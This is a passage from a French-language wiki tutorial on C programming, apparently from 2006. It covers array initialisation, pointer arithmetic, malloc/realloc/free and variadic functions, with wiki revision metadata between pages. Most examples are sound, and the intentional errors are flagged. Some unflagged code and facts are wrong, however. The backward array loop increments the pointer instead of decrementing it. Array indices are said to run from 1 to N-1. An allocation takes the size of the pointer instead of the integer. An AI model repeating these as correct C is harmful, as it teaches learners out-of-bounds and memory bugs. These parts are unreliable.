, 45 , 3 , 9 }; </pre> Si on déclare un tableau de taille fixe, mais qu'on l'initialise avec moins d'éléments qu'il peut contenir, les éléments restant seront mis à zéro. On utilise cette ''astuce'' pour initialiser rapidement un tableau à zéro : <pre> int tableau[512] = {0}; </pre> Cette technique est néanmoins à éviter, car dans ce cas le tableau sera stocké en entier dans le code du programme, faisant grossir artificiellement la taille du programme exécutable. Alors qu'en ne déclarant qu'une taille et l'initialisant à la main au début du programme, la plupart des formats d'exécutable sont capables d'optimiser en ne stockant que la taille du tableau dans le programme final. Neanmoins, cette syntaxe est aussi utilisable pour les tableaux à plusieurs dimensions : <pre> int matrice[2][3] = { { 1 , 2 , 3 } , { 4 , 5 , 6 } }; </pre> À noter que si on veut aussi utiliser l'adaptation dynamique, il faut quand même spécifier une dimension : <pre> int identite[][3] = { { 1 , 0 , 0 } , { 0 , 1 , 0 } , { 0 , 0 , 1 } }; /* Ou plus "simplement" */ int identite[][3] = { { 1 } , { 0 , 1 } , { 0 , 0 , 1 } }; </pre> Ce qui peut aussi s'écrire : <pre> int matrice[2][3] = { 1 , 2 , 3 , 4 , 5 , 6 }; </pre> ==Arithmétique des tableaux== Les tableaux, contrairement à tous les autres types du langage C, sont considérés comme un pointeur sur le premier élément dans la plupart des contextes. Considérez une déclaration telle que : <pre> int tableau[10]; </pre> Ceci réservera quelque part en mémoire de la place pour 10 entiers de type <code>int</code>. <code>*tableau</code> pointe alors sur le premier élément. On peut donc voir <code>tableau</code> comme un pointeur ''constant''. Le terme ''constant'' est très important, car il faut bien comprendre qu'il n'y aura rien de plus que 10 entiers qui seront alloués, il '''n'y aura pas''' de variable supplémentaire pour acceuillir un pointeur, <code>tableau</code> n'étant '''qu'une référence connue à la compilation'''. C'est pourquoi les instructions suivantes n'ont aucun sens : <pre> /* Ce code contient des erreurs grossières et volontaires */ int tableau[10]; int * pointeur; int ** ppointeur; tableau = pointeur; /* Incorrect. 'tableau' n'est pas une variable modifiable */ ppointeur = &tableau; /* Incorrect. La référence 'tableau' n'occupe aucun espace dans la mémoire */ pointeur = tableau; /* Correct */ </pre> Il faut faire attention avec l'ambivalence entre les pointeurs et les tableaux, on utilise souvent la notation sous forme de tableaux pour déclarer un pointeur dans les prototypes de fonction, comme par exemple pour la fonction <code>main</code>&nbsp;: <pre> int main( int nb, char * args[] ); </pre> Bien que dans ce cas uniquement (utilisation de la notation tableau dans un prototype de fonction pour une dimension du tableau), la déclaration est strictement équivalente à un tableau, dans tous les autres cas (déclaration de variables locales, globales, externes ou champ de structure/union), il ne s'agit pas tout à fait de la même notion. Considérez l'exemple qui suit&nbsp;: <table cellspacing="0" cellpadding="3" style="border:thin black solid; width: 80%"> <tr> <th style="background:#D0E2EE; width: 40%;">Fichier1.c</th> <th style="background:#ECE5CA; width: 60%;">Fichier2.c</th> </tr> <tr> <td style="background:#EAF5FB;"><pre>int tableau[] = { 1, 2 }; void fonction( int * une_table ) { printf("une_table[0] = %d\n", une_table[0]); } </pre></td> <td style="background:#FAF9EC;"><pre>/* Ce code contient une erreur grossière et volontaire */ extern int * tableau; static int un_autre_tableau[] = { 2, 3 }; int main( int nb, char * argv[] ) { printf("tableau[0] = %d\n", tableau[0]); fonction( un_autre_tableau ); }</pre></td> </tr> </table> Ce programme provoquera en fait une lecture d'un entier de type <code>int</code> à une adresse illégale, qui se traduira en général par son arrêt immédiat, sans même avoir eu le temps d'afficher quoi que ce soit. L'erreur se situe bien-sûr dans la déclaration de la variable <code>tableau</code> dans le fichier <code>Fichier2.c</code>. Il aurait fallu écrire&nbsp;: <pre> extern int tableau[]; </pre> En déclarant 'tableau' en tant que pointeur sur des entiers, on effectuera un déréférencement qui n'a pas lieu d'être et conduira le programme à effectuer un accès illégal à la mémoire. Erreur d'autant moins évidente à démasquer que pour la fonction externe dont on passe un tableau, on utilise la notation sous forme de pointeur dans le prototype. Dans ce dernier cas, cela fonctionne parfaitement car la référence constante du tableau est copiée sur la pile, créant de ce fait effectivement une variable pointeur. À noter qu'on ne spécifie pas la taille du tableau dans la déclaration externe, car de toute façon, le C ne vérifie pas les débordements. C'est un piège assez classique, qui nécessite malheureusement d'avoir une compréhension assez bas niveau de la gestion des variables en C, ce qui n'arrange pas son cas face à ses détracteurs. On pourra rétorquer que les tableaux en C ne sont pas particulièrement flexible, et qu'un bon programmeur ferait bien d'utiliser une approche objet encapsulant les accès à ce tableau, plutôt que d'utiliser une référence externe directe. ==Chaînes de caractères== Comme il a été dit tout au long de cet ouvrage, les chaînes de caractères sont des tableaux particuliers. En déclarant une chaîne de caractères on peut soit la manipuler en tant que pointeur soit en tant que tableau. Considérez les déclarations suivantes : <pre> char * chaine1 = "Ceci est une chaine"; char chaine2[] = "Ceci est une autre chaine"; </pre> Bien que se manipulant exactement de la même façon, les opérations permises sur les deux variables ne sont pas tout à fait les mêmes. Dans le premier cas on déclare un pointeur sur une chaîne de caractères statique, dans le second cas, un tableau (alloué soit sur la pile si la variable est déclarée dans une fonction ou soit dans le segment global si la variable est globale) de taille suffisante pour contenir tous les caractères de la chaîne affectée (incluant le caractère nul). Le second cas est donc une notation abrégée pour <code>char chaine2[] = { 'C', 'e', 'c', 'i', ' ', ..., 'e', 0 };</code>. Dans tous les autres cas (ceux où une chaîne de caractères '''ne sert pas''' à initialiser un tableau), '''la chaîne déclarée est statique''' (les données sont persistantes entre les différents appels de fonctions), et sur certaines architectures, pour ne pas dire toutes, elle est même en '''lecture seule'''. En effet l'instruction <code>chaine1[0] = 'c';</code> peut provoquer un accès illégal à la mémoire. En fait le compilateur peut optimiser la gestion des chaînes en regroupant celles qui sont identiques. C'est pourquoi il est préférable de classifier les pointeurs sur chaîne de caractères avec le mot clé <code>const</code>. On comprends aisément que si <code>chaine2</code> est alloué sur la pile (déclaré dans une fonction), la valeur '''ne pourra pas''' être utilisée comme valeur de retour. Tandis que la valeur de <code>chaine1</code> pourra être retournée même si c'est une variable locale. Programmation C Pointeurs 463 44442 2006-06-12T14:39:47Z Tpierron 79 /* Arithmétique de base */ {{Programmation C}} Dans cette section, nous allons présenter un mécanisme permettant de manipuler les adresses, les '''pointeurs'''. Un pointeur a pour valeur l'adresse d'un objet C d'un type donné (un pointeur est typé). Ainsi, un pointeur contenant l'adresse d'un entier sera de type ''pointeur vers entier''. ==Usage et déclaration== L'opérateur '''&''' permet de connaitre l'adresse d'une variable, on dira aussi la référence. Toute déclaration de variable occupe un certain espace dans la mémoire de l'ordinateur. La référence permet de savoir où cet emplacement se trouve. En simplifiant à l'extrême, on peut considérer la mémoire d'un ordinateur comme une gigantesque table de ''bytes''. Quand on déclare une variable de type <code>int</code>, elle sera allouée à un certain emplacement (ou dit autrement : un indice, une adresse ou une référence) dans cette table. Un pointeur permet simplement de stocker une référence, il peut donc être vu (en première approximation) comme un nombre allant de 0 à la quantité maximale de mémoire dont dispose votre ordinateur (moins un, pour être exact). Un pointeur sera donc toujours de la même taille (occupera la même place en mémoire), quelque soit l'objet se trouvant à cet emplacement. Habituellement, il s'agit de la plus grande taille directement gérable par le processeur : sur une architecture 32bits, elle sera de 4 octets, sur une architecture 64bits, 8 octets, etc. Le type du pointeur ne sert ''qu'à'' renseigner comment sont organisées les données suivant l'adresse référencée par le pointeur. Ce code, par exemple, affiche la référence d'une variable au format hexadécimal : <pre> int i; printf("%p\n", &i); </pre> Pouvoir récupérer l'adresse n'a d'intérêt que si on peut manipuler l'objet pointé. Pour cela, il est nécessaire de pouvoir déclarer des pointeurs, ou dit autrement un objet pouvant contenir des références. Pour cela on utilise l'étoile (<code>*</code>) entre le type et le nom de la variable pour indiquer qu'il s'agit d'un pointeur : <pre> T * pointeur, * pointeur2, /* ..., */ * pointeurN; </pre> Déclare les variables ''pointeur'', ''pointeur2'', ..., ''pointeurN'' de type pointeur vers le type ''T''. À noter la bizarrerie du langage à vouloir associer l'étoile à la variable et non au type, qui oblige à répéter l'étoile pour chaque variable. <pre> /* Ce code contient une déclaration volontairement confuse */ int * pointeur, variable; </pre> Cet exemple de code déclare un ''pointeur sur un entier de type <code>int</code>'' et une variable de type ''<code>int</code>''. Dans un vrai programme, il est rarement possible d'utiliser des noms aussi triviaux, aussi il est recommandé de séparer la déclaration des variables de celles des pointeurs (ou d'utiliser l'instruction <code>[[ Programmation C Types avancés#Définitions de nouveaux types (typedef)|typedef]]</code>, qui, elle, permet d'associer l'étoile au type), la lisibilité du programme sera légèrement améliorée. Il est essentiel de bien comprendre ce qui a été déclaré dans ces exemples. Chaque pointeur peut contenir une référence sur un emplacement de la mémoire (un indice dans notre fameuse table). On peut obtenir une référence (ou un indice) avec l'opérateur '''<code>&amp;</code>''' (ou allouer une référence soit-même avec des ''fonctions'' dédiées, c.f la section suivante). Cet opérateur transforme donc une ''variable'' de type ''<code>T</code>'' en un pointeur de type ''<code>T *</code>''. Insistons sur le terme variable, car évidemment des expressions telles que '<code>&23435</code>' ou '<code>&(2 * a / 3.)</code>' n'ont aucun sens, dans la mesure où les constantes et expressions du langage n'occupent aucun emplacement susceptible d'intéresser votre programme. Ce code, par exemple, affiche la référence d'une variable dans un format défini par l'implémentation (qui peut être hexadécimal, ou une combinaison "segment:offset", par exemple)&nbsp;: <pre> int i; printf("%p\n", &i); </pre> Il ne faut pas oublier que, comme toutes les variables locales en C, un pointeur est à l'origine non initialisé. Une bonne attitude de programmation est de s'assurer que lorsqu'il ne pointe pas vers un objet valide, sa valeur est mise à zéro (ou <code>NULL</code>, qui est déclaré entre autre dans <code>stdio.h</code>). ==L'arithmétique des pointeurs== L'arithmétique associée aux pointeurs est sans doute ce qui a valu au C sa réputation « d'assembleur plus compliqué et plus lent que l'assembleur ». On peut très vite construire des expressions incompréhensibles avec les opérateurs disponibles. Dans la mesure du possible, il est conseillé de se limiter à des expressions simples, quitte à les décomposer, car la plupart des compilateurs savent très bien optimiser un code C. ===Déréférencement=== Il s'agit de l'opération la plus simple sur les pointeurs. Comme son nom l'indique, il s'agit de l'opération réciproque au référencement (<code>&amp;</code>). L'opérateur associé est l'étoile (<code>*</code>), qui est aussi utilisé pour déclarer un type pointeur). Cet opérateur permet donc de transformer un pointeur de type ''T *'', en un objet de type ''T'', les opérations affectant l'objet pointé : <pre> int variable = 10; int * pointeur = &variable; *pointeur = 20; /* Positionne 'variable' à 20 */ </pre> Ici, <code>pointeur</code> contient une adresse valide, celle de <code>variable</code>&nbsp;; son déréférencement est donc possible. Par contre, si <code>pointeur</code> était une variable locale non initialisée, son déréférencement provoquerait à coup sûr un arrêt brutal de votre programme. Vous obtiendrez le même résultat, si <code>pointeur</code> est initialisé à <code>NULL</code>. Cette adresse est invalide et toute tentative de déréférencement se soldera par un arrêt du programme. ===Arithmétique de base=== L'arithmétique des pointeurs s'apparente à celle des entiers, mais il est important de comprendre la distinction entre ces deux concepts. Les opérations arithmétiques permises avec les pointeurs sont&nbsp;: <ul> <li>Addition / soustraction d'une valeur entière à un pointeur (on avance / recule d'un nombre de cases mémoires égal à la taille du type ''T'') : le résultat est donc un pointeur, de même type que le pointeur de départ. Il faut bien faire attention avec ce genre d'opération à ne pas sortir du bloc mémoire, car le C n'effectuera aucun test pour vous. Considérez l'exemple suivant&nbsp;: <pre>/* Parcours les éléments d'un tableau */ int tableau[N]; int * p; for (p = tableau; p < &tableau[N]; p ++) { /* ... */ }</pre> Normallement un tableau de N cases permet d'être itérer sur les indices allant de 1 à N - 1, inclusivement. L'instruction <code>&tableau[N]</code> (les crochets ayant précédance) référence une case mémoire non allouée, donc potentiellement source de problème. Mais comme on s'arrête juste avant (inférieur strict), cela ne pose pas de problème. À noter qu'à l'issue de la boucle, <code>p</code> pointera sur la N+1ème case du tableau, donc hors de l'espace alloué. Le C autorise tout à fait ce genre de pratique, il faut juste faire attention à ne pas déférencer le pointeur à cet endroit. Pour parcourir le tableau dans l'autre sens, il faut donc écrire un code du genre&nbsp;: <pre>/* Parcours les éléments d'un tableau */ int tableau[N]; int * p; for (p = &tableau[N-1]; p >= tableau; p ++) { /* ... */ }</pre> On notera que pour un tableau, écrire <code>&tableau[0]</code> ou <code>tableau</code>, c'est strictement équivalent. Cela montre qu'en C, la notion de pointeur et de tableau sont intimement liés. Dans l'itération, on ne peut évidemment pas commencer à la case <code>&tableau[N]</code>, car elle n'est pas sensée exister, on doit alors penser à reculer d'une case juste avant.</li> <li>Soustraction de deux pointeurs de même type (combien d'objet de type ''T'' y a t-il entre les deux pointeurs) : le résultat est donc un '''entier''', de type <code>ptrdiff_t</code>. <pre> int autre_tableau[3]; int tableau[10]; int * p = &tableau[5]; /* p pointe sur le 6e element du tableau */ int * q = &tableau[3]; /* q pointe sur le 4e element du tableau */ ptrdiff_t diff1 = p - q; /* diff1 vaut 2 */ ptrdiff_t diff2 = q - p; /* diff2 vaut -2 */ q = &autre_tableau[2]; ptrdiff_t dif3 = p - q; /* Le résultat est imprévisible, à éviter */ </pre> Dans cet exemple, les deux premières soustractions sont définies, car <code>p</code> et <code>q</code> pointent sur des éléments du même tableau. La troisième soustraction est indéfinie, car on utilise des adresses d'éléments de tableaux différents. En fait, on peut même considérer que les variables sont elle mêmes des tableaus à un élément. En général, cela a peu d'intérêt de les manipuler via des tableaux, mais cela montre juste que le langage est relativement cohérent&nbsp;: <pre>int a; int b; int * p = &a; /* On peut accéder à la valeur de 'a' via 'p[0]' ou '*p' */ /* p[1] est indéfini - n'espérez pas accéder à la valeur de b depuis l'adresse de a */ </pre> </li> </ul> ===Arithmétique avec effet de bord=== C'est sans doute ce qui a donné des sueurs froides à des générations de programmeurs découvrant le C : un usage « optimisé » de la priorité des opérateurs, le tout imbriqué dans des expressions à rallonge. Par exemple '<code>while( *d++ = *s++ );</code>', pour copier une chaine de caractères. En fait, en décomposant l'instruction, c'est nettement plus simple qu'il ne parait. Par exemple : <pre> int i; int * entier; /* ... */ i = *entier++; /* i = *(entier++); */ </pre> Dans ce cas de figure, l'opérateur d'incrémentation ayant priorité sur celui de déréférencement, c'est celui-ci qui sera appliqué en premier. Comme il est postfixé, l'opérateur ne prendra effet qu'à la fin de l'expression (donc de l'affectation). La variable ''i'' sera donc tout simplement affectée de la valeur pointée par ''entier'' et après cela le pointeur sera incrémenté. Voici les différents effets suivant les combinaisons de ces deux opérateurs : <pre> i = *++entier; /* Incrémente d'abord le pointeur, puis déréférence la nouvelle adresse pointée */ i = ++*entier; /* Incrémente la valeur pointée par "entier", puis affecte le résultat à "i" */ i = (*entier)++; /* Affecte la valeur pointée par "entier" et incrémente cette valeur */ </pre> On peut évidemment complexifier les expressions à outrance, mais privilégier la compacité au détriment de la clarté et de la simplicité dans un hypothétique espoir d'optimisation est une erreur de débutant à éviter. ==Gestion dynamique de la mémoire== Les déclarations de variables en C et dans pas mal d'autres langages ont une limitation très importante : leur taille doit être connue à la compilation. Inutile de s'étaler sur le fait que dans bien des cas, cette taille ne sera connue qu'au moment de l'exécution. Pour cela, il faudra nécessairement passer par de l'allocation dynamique de mémoire. L'allocation mémoire se fait à l'aide des fonctions standards <code>malloc</code>, <code>calloc</code> et <code>realloc</code> et la désallocation avec <code>free</code>. La gestion de la mémoire en C est un point particulièrement sensible. En fait, le principal problème est que le programmeur est livré à lui même. Dans un monde idéal, chaque allocation devrait être soigneusement controllée et avoir un comportement clairement défini en cas de ressource insuffisante. Les lectures/écritures dans le bloc mémoire devraient toujours se faire dans les limites allouées et enfin chaque bloc devrait être libéré une et une seule fois par la fonction dédiée. Dans la pratique, c'est bien plus facile à dire qu'à faire. Pour faire court, on ne saurait trop conseiller que d'être extrêmement prudent dans l'utilisation des fonctions suivantes. ===Allocation=== La fonction la plus simple d'allocation mémoire est <code>malloc</code> : <pre> #include <stdlib.h> void * malloc( size_t taille ); </pre> Elle prend en argument la ''taille'' que l'on veut allouer et renvoie un pointeur vers une zone mémoire allouée ou <code>NULL</code> si la demande échoue. Trois remarques peuvent être faites : #<code>malloc</code> renvoie une valeur de type <code>void *</code>, il n'est pas nécessaire de faire une conversion explicite (cela est nécessaire en C++) ; #l'argument ''taille'' est de type <code>size_t</code>, l'appel à la fonction <code>malloc</code> devrait toujours se faire conjointement à un appel à l'opérateur <code>sizeof</code>. #La zone mémoire retournée, si elle est différente de NULL, n'est pas initialisée. C'est une erreur de conception grave que d'accéder au bloc mémoire en s'attendant à trouver une certaine valeur (0 par exemple). Un petit exemple d'allocation dynamique : <pre> int * i; i = malloc( sizeof( i ) ); </pre> Dans cet exemple, on déclare un pointeur vers entier ''i'' auquel on alloue la place pour un entier (<code>sizeof(i)</code>). La valeur pointée (<code>*i</code>) est indéfinie. Pour intialiser le bloc mémoire à zéro et l'allouer en même temps, on peut utiliser la fonction <code>calloc()</code> : <pre> void * calloc( size_t nb_element, size_t taille ); </pre> Cette fonction allouera un bloc mémoire de <code>nb_element * taille</code> octets, en initialisant le bloc à 0 avant de le retourner. La valeur de retour est identique à <code>malloc</code>. ===Réallocation=== Il arrive fréquemment qu'un bloc alloué n'ait pas la taille suffisante pour accueillir de nouvelles données. Pour changer la taille d'un tel bloc, on peut employer la fonction <code>realloc</code> : <pre> #include <stdlib.h> void * realloc( void * ancien_bloc, size_t nouvelle_taille ); </pre> <code>realloc</code> tentera de réajuster la taille du bloc pointé par ''ancien_bloc'' à la nouvelle taille spécifiée. À noter que si ''nouvelle_taille'' vaut zéro, l'appel est équivalent à <code>free( ancien_bloc );</code>. De même que si ''ancien_bloc'' vaut <code>NULL</code>, l'appel est équivalent à <code>malloc( nouvelle_taille );</code>. La fonction retourne l'adresse du nouveau bloc, qui ''peut'' avoir la même adresse qu' ''ancien_bloc'', même si rien ne peut le garantir. <code>NULL</code> est retourné si le bloc n'a pas pu être retaillé, ''ancien_bloc'' ne sera alors pas modifié. Évidemment, si la taille demandée est plus grande que la taille d'origine, la mémoire supplémentaire '''ne sera pas''' initialisée. Signalons d'emblée un piège classique, qui consiste à écrire : <pre> /* Ce code contient une erreur grossière et volontaire */ mon_pointeur = realloc( mon_pointeur, taille + 1024 ); </pre> Ce code contient en fait une fuite mémoire. Si <code>realloc</code> échouait, la dernière référence valide de ''mon_pointeur'' serait perdue, ainsi que tout espoir de pouvoir libérer la mémoire. C'est d'autant plus navrant que ce genre de construction est souvent employée pour lire des lignes arbitrairement longues d'un fichier texte, par exemple. Une bonne façon de faire, serait : <pre> void * nouveau = realloc( mon_pointeur, taille + 1024 ); if( nouveau != NULL ) { mon_pointeur = nouveau; /* Continuez le traitement ... */ } else { free( mon_pointeur ); return UNE_ERREUR; } </pre> C'est certes beaucoup plus long, beaucoup plus pénible à écrire, mais la stabilité d'un programme est à ce prix. ===Libération=== Le C ne possède pas de mécanisme de [[w:fr:ramasse-miettes|ramasse-miettes]], la mémoire allouée dynamiquement par un programme doit donc être explicitement libérée. <pre> void free( void * pointeur ); </pre> La fonction prend en argument un pointeur vers une zone mémoire précédemment allouée par un appel à <code>malloc</code>, <code>calloc</code> ou <code>realloc</code> et libère la zone mémoire pointée. Est-il nécessaire d'indiquer qu'accéder au contenu d'un bloc mémoire libéré est un grave défaut de conception, pouvant au mieux passer inaperçu, ou au pire provoquer un arrêt brutal du programme ? Un bon réflexe de programmation est d'assigner la valeur 'NULL' à tout pointeur dont le bloc vient d'être libéré. De même que libérer deux fois le même bloc mémoire ou libérer un bloc qui n'a pas été alloué par une des fonctions d'allocation provoque un comportement imprévisible. En général, on peut s'attendre à une corruption de l'espace mémoire, extrêmement pénible à diagnostiquer, car les problèmes surviennent rarement au moment de l'appel fautif. C'est ce qui fait que le programme peut provoquer des accès illégaux dans des portions de code que l'on croyait exemptes de défaut (ou suffisament triviales pour ne pas en contenir). Encore une fois, une attention particulière doit être portée à la gestion de la mémoire en C, afin d'éviter autant que possible, d'une part les fuites mémoires et d'autre part les accès illégaux en lecture/écriture. Le C n'étant pas d'une très grande aide dans ce domaine, il faut avoir une certaine acuité, ingéniosité, et même paranoïa dans la gestion des ressources en C. Sans quoi la loi de Murphy vous fera cruellement rappeler que si le pire peut arriver, alors c'est ce qui arrivera. ==Tableaux dynamiques== Un des interêts des pointeurs et de l'allocation dynamique est de permettre de décider de la taille d'une variable au moment de l'exécution, comme par exemple pour les tableaux. Ainsi pour allouer un tableau de N entiers (N étant connu à l'exécution), on déclare une variable de type pointeur sur entier à laquelle on alloue une zone mémoire correspondant à N entiers : <pre> int N; int * tableau; N = 10; tableau = malloc( sizeof( *tableau ) * N ); /* opérations sur le tableau */ free( tableau ); </pre> La première remarque que l'on peut faire sur cet exemple est que c'est un '''mauvais''' exemple, la taille du tableau est connue (N = 10), on devrait donc utiliser un tableau statique. ===Tableaux dynamiques à plusieurs dimensions=== Tout comme on pouvait déclarer des tableaux statiques à plusieurs dimensions, on peut déclarer des tableaux dynamiques à plusieurs dimensions. Pour déclarer un tel tableau, on déclare des pointeurs sur des pointeurs (etc.) sur des types. Pour déclarer un tableau dynamique d'entiers à deux dimensions : <pre> int ** matrice; </pre> L'allocation d'un tel objet va se dérouler en plusieurs étapes (une par étoile), on alloue d'abord l'espace pour un tableau de pointeurs vers entier. Ensuite, on alloue pour chacun de ces tableaux l'espace pour un tableau d'entiers. Si on veut une matrice 4x5 : <pre> #define LIGNES 4 #define COLONNES 5 int i; matrice = malloc( sizeof( *matrice ) * LIGNES ); for(i = 0;i < LIGNES;i++) { matrice[i] = malloc( sizeof(**matrice) * COLONNES ); } </pre> Pour libérer l'espace alloué pour une telle structure, on procède de manière inverse, on commence par libérer chacune des lignes du tableau, puis le tableau lui même : <pre> for(i = 0;i < LIGNES;i++) { free(matrice[i]); } free(matrice); </pre> ==Utilisation des pointeurs pour passer des paramètres par adresse== Une autre utilisation des pointeurs est pour passer des paramètres par adresse aux fonctions. <pre> void inverse(int * a, int *b) { int tmp; tmp = *a; *a = *b; *b = tmp; } </pre> ==Pointeurs vers fonctions== <pre> type_retour (*pointeur_fonction)(liste_paramètres); </pre> Déclare ''pointeur_fonction'', un pointeur vers une fonction prenant ''liste_paramètres'' comme paramètres et renvoyant ''type_retour''. Le parenthésage est ici obligatoire, sans quoi l'étoile se rattacherait au type de retour. Pour faire pointer un pointeur vers une fonction, on utilise une affectation « normale » : <pre> pointeur_fonction = &fonction; /* Qui est en fait équivalent à : */ pointeur_fonction = fonction; </pre> Où ''fonction'' est compatible avec le pointeur (mêmes paramètres et valeur de retour). Une fois que le pointeur pointe vers une fonction, on peut appeler cette fonction : <pre> (*pointeur_fonction)(paramètres); /* Ou plus simplement, mais moins logique syntaxiquement */ pointeur_fonction(paramètres); </pre> Programmation C Fonctions et procédures 464 44144 2006-06-08T02:21:48Z Tpierron 79 /* La fonction main */ {{Programmation C}} ==Déclaration standard== <pre> type_retour fonction( type1 par1, type2 par2, /* ..., */ typeN parN ) { /* Déclarations de variables ... */ /* Instructions ... */ } </pre> Déclare une ''fonction'' renvoyant une valeur de type ''type_retour'' et prenant N arguments, ''par1'' de type ''type1'', ''par2'' de type ''type2'', etc. Une fonction se termine soit lorsque qu'elle atteint l'accolade fermante, soit lorsque qu'elle rencontre le mot clef <code>return</code>. La valeur renvoyée par une fonction est donnée comme paramêtre à <code>return</code>. Une procédure est une fonction renvoyant <code>void</code>, dans ce cas <code>return</code> est appelé sans paramètre. Les passages des arguments aux fonctions se font toujours par valeur. Si on veut modifier la valeur d'un argument passé en paramètre à une fonction, en dehors de cette même fonction, il faut utiliser des pointeurs. À noter que '''nulle part dans le langage''' y est spécifié l'ordre de traitement des arguments. Il faut donc faire attention aux opérateurs ayant des effets de bords, notamment lorsqu'on utilise la même variable. Le code suivant est imprévisible et non portable, bien qu'aucun compilateur ne génèrera d'avertissement (et encore moins d'erreur) : <pre> /* Ce code contient une erreur grossière et volontaire */ int fonction( int, int, int ); int a = 0; int b = fonction( a++, a++, a++ ); </pre> Suivant le compilateur employé, tous les cas de figures sont envisageables. La fonction peut effectivement être appelée avec <code>fonction( 0, 0, 0 );</code> ou <code>fonction( 0, 1, 2 );</code> ou encore <code>fonction( 2, 1, 0 );</code>. À éviter donc. ==Prototype== Le prototype d'une fonction correspond simplement à son entête (tout ce qui précède la première accolade ouvrante). C'est à dire, son nom, son type de retour et les types des différents paramètres. Cela permet au compilateur de vérifier que la fonction est appelée avec le bon nombre de paramètres et surtout avec les bons types : <pre> type_retour nom_fonction( type1, type2, /* ..., */ typeN ); </pre> À noter que les noms des paramètres peuvent être omis et que la déclaration '''doit se terminer''' par un point-virgule (;), sans quoi vous pourrez vous attendre à une cascade d'erreurs. Un héritage de l'ISO C90, pas toujours facile à assumer, fait que le compilateur peut tout à fait se passer du prototype. Néanmoins, c'est plus qu'une bonne habitude de programmation de s'assurer que ''chaque'' fonction utilisée dans un programme ait son prototype déclaré '''avant'''. C'est d'autant plus indispensable lorsque les fonctions sont définies et utilisées dans des fichiers différents. ==Nombre variable d'arguments== Une fonctionnalité assez utile est d'avoir une fonction avec un nombre variable d'arguments, comme la fameuse fonction <code>printf()</code>. Pour cela, il suffit de déclarer le prototype de la fonction de la manière suivante : ===Déclaration=== <pre> #include <stdarg.h> void ma_fonction( type1 arg1, type2 arg2, ... ) { } </pre> Dans l'exemple ci-dessus, les points de suspension ne sont pas un abus d'écriture, mais bel et bien une notation C pour indiquer que la fonction accepte d'autres arguments. L'exemple est limité à deux arguments, mais il est bien sûr possible d'en spécifier autant qu'on veut. C'est dans l'unique but de ne pas rendre ambigu la déclaration, qu'aucun abus d'écriture n'a été employé. L'inclusion du fichier <code>stdarg.h</code> n'est nécessaire que pour traiter les arguments à l'intérieur de la fonction. La première remarque que l'on peut faire est qu'une fonction à nombre variable d'arguments contient '''au moins un''' paramètre fixe. En effet la déclaration suivante est invalide : <pre> /* Ceci n'est pas valide */ void ma_fonction( ... ); </pre> ===Accès aux arguments=== Pour accéder aux arguments situés après le dernier argument fixe, il faut utiliser certaines fonctions (ou plutôt macros) du fichier <code>stdarg.h</code> : <pre> void va_start (va_list ap, last); type va_arg (va_list ap, type); void va_end (va_list ap); </pre> <code>va_list</code> est un type opaque dont on n'a pas à se soucier. On commence par l'initialiser avec <code>va_start</code>. Le paramètre <code>last</code> doit correspondre au nom du dernier argument fixe de la fonction, ou alors tout bon compilateur retournera au moins un avertissement. Vient ensuite la collecte ''minutieuse'' des arguments. Il faut bien comprendre qu'à ce stade, le langage n'offre '''aucun''' moyen de savoir comment sont structurées les données (c'est à dire leur type). Il faut absolument définir une convention, laissée à l'imagination du programmeur, pour pouvoir extraire les données correctement. Qui plus est, il faut être extrêmement vigilant lors de la récupération des paramètres, à cause de la promotion des types entiers ou réels. En effet, les entiers sont systématiquement promus en <code>int</code>, sauf si la taille du type est plus grande, auquel cas le type est inchangé. Pour les réels, le type <code>float</code> est promu en <code>double</code>, alors que le type <code>long double</code> est inchangé. C'est pourquoi ce genre d'instruction n'a aucun sens dans une fonction à nombre variable d'arguments : <pre> /* Ce code contient une erreur grossière et volontaire */ char caractere = va_arg( list, char ); </pre> Il faut obligatoirement récupérer un entier de type <code>char</code>, comme étant un entier de type <code>int</code>. ===Exemple de convention=== Un bon exemple de convention est la fonction <code>printf()</code> elle même. Elle utilise un spécificateur de format qui renseigne à la fois le nombre d'arguments qu'on s'attend à trouver mais aussi le type de chacun. D'un autre coté, analyser un spécificateur de format est relativement rébarbatif, et on n'a pas toujours besoin d'une artillerie aussi lourde. Une autre façon de faire, relativement répandue, est de ne passer que des couples (type, objet), où <code>type</code> correspond à un code représentant un type (une énumération par exemple) et <code>objet</code> le contenu de l'objet lui-même (<code>int</code>, pointeur, <code>double</code>, etc.). On utilise alors un code spécial (généralement 0) pour indiquer la fin des arguments, ou alors un des paramètres pour indiquer combien il y en a. Un petit exemple complet : <pre> #include <stdio.h> #include <stdarg.h> enum { TYPE_FIN = 0, TYPE_ENTIER, TYPE_REEL, TYPE_CHAINE }; void affiche(FILE * out, ...) { va_list list; int type; va_start(list, out); while ((type = va_arg(list, int))) { switch (type) { case TYPE_ENTIER: fprintf(out, "%d", va_arg(list, int)); break; case TYPE_REEL: fprintf(out, "%g", va_arg(list, double)); break; case TYPE_CHAINE: fprintf(out, "%s", va_arg(list, char *)); break; } } fprintf(out, "\n"); va_end(list); } int main(int nb, char * argv[]) { affiche(stdout, TYPE_CHAINE, "Le code ascii de 'a' est ", TYPE_ENTIER, 'a', 0); affiche(stderr, TYPE_CHAINE, "2 * 3 / 5 = ", TYPE_REEL, 2. * 3 / 5, 0); return 0; } </pre> L'inconvénient de ce genre d'approche est de ne pas oublier le marqueur de fin. Dans les deux cas, il faut être vigilant avec les conversions implicites, notamment dans le second cas. À noter que la conversion (transtypage) explicite des types en une taille inférieure à celle par défaut (<code>int</code> pour les entiers ou <code>double</code> pour les réels) '''ne permet pas''' de contourner la promotion implicite. Même écrit de la sorte : <pre> affiche(stderr, TYPE_CHAINE, "2 * 3 / 5 = ", TYPE_REEL, (float) (2. * 3 / 5), 0); </pre> Le résultat transmis au cinquième paramètre sera quand même promu implicitement en type <code>double</code>. ==Fonction ''inline''== Il s'agit d'une extension ISO C99, qui à l'origine vient du C++. Ce mot clé doit se placer avant le type de retour de la fonction. Il ne s'agit que d'une indication, le compilateur peut ne pas honorer la demande, notamment si la fonction est récursive. Dans une certaine mesure, les fonctionnalités proposées par ce mot clé sont déjà prises en charge par les instructions du préprocesseur. Beaucoup préfèreront passer par une macro, essentiellement pour des raisons de compatibilité avec d'anciens compilateurs ne supportant pas ce mot clé, et quand bien même l'utilisation de macro est souvent très délicat. Le mot clé <code>inline</code> permet de s'affranchir des nombreux défauts des macros, et de réellement les utiliser comme une fonction normale, c'est à dire surtout sans effets de bord. À noter qu'il est préférable de classifier les fonctions <code>inline</code> de manière statique. Dans le cas contraire, la fonction sera aussi déclarée comme étant accessible de l'extérieur, et donc définie comme une fonction normale. En la déclarant <code>static 